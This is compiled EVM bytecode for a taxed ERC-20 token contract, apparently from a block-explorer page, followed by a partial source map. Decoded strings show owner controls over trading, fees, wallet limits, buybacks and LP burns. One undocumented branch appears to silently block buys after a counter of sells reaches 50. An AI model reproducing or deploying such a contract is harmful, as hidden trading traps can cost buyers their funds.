fffffffffffffffffffffffffffffffff16146123c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bb90614b5a565b60405180910390fd5b620186a060016123d2611053565b6123dc9190614ba9565b6123e69190614c1a565b821015612428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241f906151c7565b60405180910390fd5b6103e86005612435611053565b61243f9190614ba9565b6124499190614c1a565b82111561248b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248290615259565b60405180910390fd5b81600a8190555060019050919050565b60165481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b6000612538612a43565b73ffffffffffffffffffffffffffffffffffffffff16612556611ac5565b73ffffffffffffffffffffffffffffffffffffffff16146125ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a390614b5a565b60405180910390fd5b6000601560006101000a81548160ff0219169083151502179055506001905090565b60185481565b6125dc612a43565b73ffffffffffffffffffffffffffffffffffffffff166125fa611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614612650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264790614b5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036126bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b6906152eb565b60405180910390fd5b6126c8816139d0565b50565b601c5481565b600b5481565b6126df612a43565b73ffffffffffffffffffffffffffffffffffffffff166126fd611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614612753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274a90614b5a565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006127a1612a43565b73ffffffffffffffffffffffffffffffffffffffff166127bf611ac5565b73ffffffffffffffffffffffffffffffffffffffff1614612815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280c90614b5a565b60405180910390fd5b6010546012546128259190614d6f565b4211612866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285d90615357565b60405180910390fd5b6103e88211156128ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a2906153e9565b60405180910390fd5b4260128190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f00000000000000000000000057715b78b268f8f69e5882e4376225b5d0dec2096040518263ffffffff1660e01b815260040161290d91906148dd565b602060405180830381865afa15801561292a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061294e919061541e565b9050600061297961271061296b8685613b3790919063ffffffff16565b613b4d90919063ffffffff16565b905060008111156129b2576129b17f00000000000000000000000057715b78b268f8f69e5882e4376225b5d0dec20961dead83613b63565b5b60007f00000000000000000000000057715b78b268f8f69e5882e4376225b5d0dec20990508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612a1f57600080fd5b505af1158015612a33573d6000803e3d6000fd5b5050505060019350505050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ab1906154bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b209061554f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612c079190614833565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7a906155e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce990615673565b60405180910390fd5b60008103612d0b57612d0683836000613b63565b6139cb565b601360009054906101000a900460ff16156133ce57612d28611ac5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612d965750612d66611ac5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612dcf5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612e09575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612e225750600560149054906101000a900460ff16155b156133cd57601360019054906101000a900460ff16612f1c57602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612edc5750602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f12906156df565b60405180910390fd5b5b601560009054906101000a900460ff16156130e457612f39611ac5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612fc057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561301857507f00000000000000000000000057715b78b268f8f69e5882e4376225b5d0dec20973ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156130e35743601460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061309e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161309590615797565b60405180910390fd5b43601460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156131875750602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561322e576009548111156131d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131c890615829565b60405180910390fd5b600b546131dd83611558565b826131e89190614d6f565b1115613229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161322090615895565b60405180910390fd5b6133cc565b602360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156132d15750602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156133205760095481111561331b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161331290615927565b60405180910390fd5b6133cb565b602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166133ca57600b5461337d83611558565b826133889190614d6f565b11156133c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133c090615895565b60405180910390fd5b5b5b5b5b5b60006133d930611558565b90506000600a5482101590508080156133fe5750601360029054906101000a900460ff165b80156134175750600560149054906101000a900460ff16155b801561346d5750602360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156134c35750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156135195750602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561355d576001600560146101000a81548160ff021916908315150217905550613541613de2565b6000600560146101000a81548160ff0219169083151502179055505b600560149054906101000a900460ff161580156135c35750602360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156135db5750600d60009054906101000a900460ff165b80156135f65750600e54600f546135f29190614d6f565b4210155b801561364c5750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561365b576136596140c9565b505b6000600560149054906101000a900460ff16159050602160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806137115750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561371b57600090505b600081156139bb57602360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561377e57506000601a54115b1561385a576137ab606461379d601a5488613b3790919063ffffffff16565b613b4d90919063ffffffff16565b9050601a54601c54826137be9190614ba9565b6137c89190614c1a565b601f60008282546137d99190614d6f565b92505081905550601a54601d54826137f19190614ba9565b6137fb9190614c1a565b6020600082825461380c9190614d6f565b9250508190555060326011541061382257600080fd5b601a54601b54826138339190614ba9565b61383d9190614c1a565b601e600082825461384e9190614d6f565b92505081905550613997565b602360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156138b557506000601654115b15613996576138e260646138d460165488613b3790919063ffffffff16565b613b4d90919063ffffffff16565b9050601654601854826138f59190614ba9565b6138ff9190614c1a565b601f60008282546139109190614d6f565b92505081905550601654601954826139289190614ba9565b6139329190614c1a565b602060008282546139439190614d6f565b925050819055506011600081548092919061395d90615947565b9190505550601654601754826139739190614ba9565b61397d9190614c1a565b601e600082825461398e9190614d6f565b925050819055505b5b60008111156139ac576139ab873083613b63565b5b80856139b8919061598f565b94505b6139c6878787613b63565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008183613b459190614ba9565b905092915050565b60008183613b5b9190614c1a565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613bc9906155e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c3890615673565b60405180910390fd5b613c4c838383614263565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cc990615a35565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613d659190614d6f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613dc99190614833565b60405180910390a3613ddc848484614268565b50505050565b6000613ded30611558565b90506000602054601e54601f54613e049190614d6f565b613e0e9190614d6f565b9050600080831480613e205750600082145b15613e2d575050506140c7565b6014600a54613e3c9190614ba9565b831115613e55576014600a54613e529190614ba9565b92505b6000600283601f5486613e689190614ba9565b613e729190614c1a565b613e7c9190614c1a565b90506000613e93828661426d90919063ffffffff16565b90506000479050613ea382614283565b6000613eb8824761426d90919063ffffffff16565b90506000613ee387613ed5601e5485613b3790919063ffffffff16565b613b4d90919063ffffffff16565b90506000613f0e88613f0060205486613b3790919063ffffffff16565b613b4d90919063ffffffff16565b90506000818385613f1f919061598f565b613f29919061598f565b90506000601f819055506000601e819055506000602081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613f8990615a86565b60006040518083038185875af1925050503d8060008114613fc6576040519150601f19603f3d011682016040523d82523d6000602084013e613fcb565b606091505b505080985050600087118015613fe15750600081115b1561402e57613ff087826144c0565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601f5460405161402593929190615a9b565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161407490615a86565b60006040518083038185875af1925050503d80600081146140b1576040519150601f19603f3d011682016040523d82523d6000602084013e6140b6565b606091505b505080985050505050505050505050505b565b600042600f8190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f00000000000000000000000057715b78b268f8f69e5882e4376225b5d0dec2096040518263ffffffff1660e01b815260040161412d91906148dd565b602060405180830381865afa15801561414a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061416e919061541e565b9050600061419b61271061418d600c5485613b3790919063ffffffff16565b613b4d90919063ffffffff16565b905060008111156141d4576141d37f00000000000000000000000057715b78b268f8f69e5882e4376225b5d0dec20961dead83613b63565b5b60007f00000000000000000000000057715b78b268f8f69e5882e4376225b5d0dec20990508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561424157600080fd5b505af1158015614255573d6000803e3d6000fd5b505050506001935050505090565b505050565b505050565b6000818361427b919061598f565b905092915050565b6000600267ffffffffffffffff8111156142a05761429f615ad2565b5b6040519080825280602002602001820160405280156142ce5781602001602082028036833780820191505090505b50905030816000815181106142e6576142e5615b01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561438b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906143af9190615b45565b816001815181106143c3576143c2615b01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050614428307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612a4b565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161448a959493929190615c6b565b600060405180830381600087803b1580156144a457600080fd5b505af11580156144b8573d6000803e3d6000fd5b505050505050565b6144eb307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612a4b565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161457296959493929190615cc5565b60606040518083038185885af1158015614590573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906145b59190615d26565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156145f65780820151818401526020810190506145db565b60008484015250505050565b6000601f19601f8301169050919050565b600061461e826145bc565b61462881856145c7565b93506146388185602086016145d8565b61464181614602565b840191505092915050565b600060208201905081810360008301526146668184614613565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061469e82614673565b9050919050565b6146ae81614693565b81146146b957600080fd5b50565b6000813590506146cb816146a5565b92915050565b6000819050919050565b6146e4816146d1565b81146146ef57600080fd5b50565b600081359050614701816146db565b92915050565b6000806040838503121561471e5761471d61466e565b5b600061472c858286016146bc565b925050602061473d858286016146f2565b9150509250929050565b60008115159050919050565b61475c81614747565b82525050565b60006020820190506147776000830184614753565b92915050565b6000602082840312156147935761479261466e565b5b60006147a1848285016146bc565b91505092915050565b6000819050919050565b60006147cf6147ca6147c584614673565b6147aa565b614673565b9050919050565b60006147e1826147b4565b9050919050565b60006147f3826147d6565b9050919050565b614803816147e8565b82525050565b600060208201905061481e60008301846147fa565b92915050565b61482d816146d1565b82525050565b60006020820190506148486000830184614824565b92915050565b6000602082840312156148645761486361466e565b5b6000614872848285016146f2565b91505092915050565b6000806000606084860312156148945761489361466e565b5b60006148a2868287016146bc565b93505060206148b3868287016146bc565b92505060406148c4868287016146f2565b9150509250925092565b6148d781614693565b82525050565b60006020820190506148f260008301846148ce565b92915050565b600060ff82169050919050565b61490e816148f8565b82525050565b60006020820190506149296000830184614905565b92915050565b61493881614747565b811461494357600080fd5b50565b6000813590506149558161492f565b92915050565b6000806000606084860312156149745761497361466e565b5b6000614982868287016146f2565b9350506020614993868287016146f2565b92505060406149a486828701614946565b9150509250925092565b600080604083850312156149c5576149c461466e565b5b60006149d3858286016146bc565b92505060206149e485828601614946565b9150509250929050565b600080600060608486031215614a0757614a0661466e565b5b6000614a15868287016146f2565b9350506020614a26868287016146f2565b9250506040614a37868287016146f2565b9150509250925092565b600060208284031215614a5757614a5661466e565b5b6000614a6584828501614946565b91505092915050565b60008060408385031215614a8557614a8461466e565b5b6000614a93858286016146bc565b9250506020614aa4858286016146bc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614af557607f821691505b602082108103614b0857614b07614aae565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614b446020836145c7565b9150614b4f82614b0e565b602082019050919050565b60006020820190508181036000830152614b7381614b37565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614bb4826146d1565b9150614bbf836146d1565b9250828202614bcd816146d1565b91508282048414831517614be457614be3614b7a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614c25826146d1565b9150614c30836146d1565b925082614c4057614c3f614beb565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614ca7602f836145c7565b9150614cb282614c4b565b604082019050919050565b60006020820190508181036000830152614cd681614c9a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000614d396028836145c7565b9150614d4482614cdd565b604082019050919050565b60006020820190508181036000830152614d6881614d2c565b9050919050565b6000614d7a826146d1565b9150614d85836146d1565b9250828201905080821115614d9d57614d9c614b7a565b5b92915050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614dff6033836145c7565b9150614e0a82614da3565b604082019050919050565b60006020820190508181036000830152614e2e81614df2565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614e916030836145c7565b9150614e9c82614e35565b604082019050919050565b60006020820190508181036000830152614ec081614e84565b9050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000614efd601d836145c7565b9150614f0882614ec7565b602082019050919050565b60006020820190508181036000830152614f2c81614ef0565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000614f8f6039836145c7565b9150614f9a82614f33565b604082019050919050565b60006020820190508181036000830152614fbe81614f82565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006150216025836145c7565b915061502c82614fc5565b604082019050919050565b6000602082019050818103600083015261505081615014565b9050919050565b7f4d757374206b65657020666565732061742020323025206f72206c6573730000600082015250565b600061508d601e836145c7565b915061509882615057565b602082019050919050565b600060208201905081810360008301526150bc81615080565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b600061511f6024836145c7565b915061512a826150c3565b604082019050919050565b6000602082019050818103600083015261514e81615112565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b60006151b16035836145c7565b91506151bc82615155565b604082019050919050565b600060208201905081810360008301526151e0816151a4565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006152436034836145c7565b915061524e826151e7565b604082019050919050565b6000602082019050818103600083015261527281615236565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006152d56026836145c7565b91506152e082615279565b604082019050919050565b60006020820190508181036000830152615304816152c8565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b60006153416020836145c7565b915061534c8261530b565b602082019050919050565b6000602082019050818103600083015261537081615334565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b60006153d3602a836145c7565b91506153de82615377565b604082019050919050565b60006020820190508181036000830152615402816153c6565b9050919050565b600081519050615418816146db565b92915050565b6000602082840312156154345761543361466e565b5b600061544284828501615409565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006154a76024836145c7565b91506154b28261544b565b604082019050919050565b600060208201905081810360008301526154d68161549a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006155396022836145c7565b9150615544826154dd565b604082019050919050565b600060208201905081810360008301526155688161552c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006155cb6025836145c7565b91506155d68261556f565b604082019050919050565b600060208201905081810360008301526155fa816155be565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061565d6023836145c7565b915061566882615601565b604082019050919050565b6000602082019050818103600083015261568c81615650565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006156c96016836145c7565b91506156d482615693565b602082019050919050565b600060208201905081810360008301526156f8816156bc565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006157816049836145c7565b915061578c826156ff565b606082019050919050565b600060208201905081810360008301526157b081615774565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006158136035836145c7565b915061581e826157b7565b604082019050919050565b6000602082019050818103600083015261584281615806565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061587f6013836145c7565b915061588a82615849565b602082019050919050565b600060208201905081810360008301526158ae81615872565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006159116036836145c7565b915061591c826158b5565b604082019050919050565b6000602082019050818103600083015261594081615904565b9050919050565b6000615952826146d1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361598457615983614b7a565b5b600182019050919050565b600061599a826146d1565b91506159a5836146d1565b92508282039050818111156159bd576159bc614b7a565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000615a1f6026836145c7565b9150615a2a826159c3565b604082019050919050565b60006020820190508181036000830152615a4e81615a12565b9050919050565b600081905092915050565b50565b6000615a70600083615a55565b9150615a7b82615a60565b600082019050919050565b6000615a9182615a63565b9150819050919050565b6000606082019050615ab06000830186614824565b615abd6020830185614824565b615aca6040830184614824565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050615b3f816146a5565b92915050565b600060208284031215615b5b57615b5a61466e565b5b6000615b6984828501615b30565b91505092915050565b6000819050919050565b6000615b97615b92615b8d84615b72565b6147aa565b6146d1565b9050919050565b615ba781615b7c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615be281614693565b82525050565b6000615bf48383615bd9565b60208301905092915050565b6000602082019050919050565b6000615c1882615bad565b615c228185615bb8565b9350615c2d83615bc9565b8060005b83811015615c5e578151615c458882615be8565b9750615c5083615c00565b925050600181019050615c31565b5085935050505092915050565b600060a082019050615c806000830188614824565b615c8d6020830187615b9e565b8181036040830152615c9f8186615c0d565b9050615cae60608301856148ce565b615cbb6080830184614824565b9695505050505050565b600060c082019050615cda60008301896148ce565b615ce76020830188614824565b615cf46040830187615b9e565b615d016060830186615b9e565b615d0e60808301856148ce565b615d1b60a0830184614824565b979650505050505050565b600080600060608486031215615d3f57615d3e61466e565b5b6000615d4d86828701615409565b9350506020615d5e86828701615409565b9250506040615d6f86828701615409565b915050925092509256fea26469706673582212208eb8e75addeb916ea6b0457825191b5dc7b1026b5102c0e6efca8947fa9f824564736f6c63430008110033

Deployed Bytecode Sourcemap

33212:19622:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10040:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12207:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34903:63;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33287:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11160:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;42149:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;33882:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33697:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34687:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34647;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39326:275;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12858:492;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33390:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33792:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33753:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11002:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13759:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33345:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34015:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;42314:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33550:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34502:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;34095:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11331:127;;;;;;;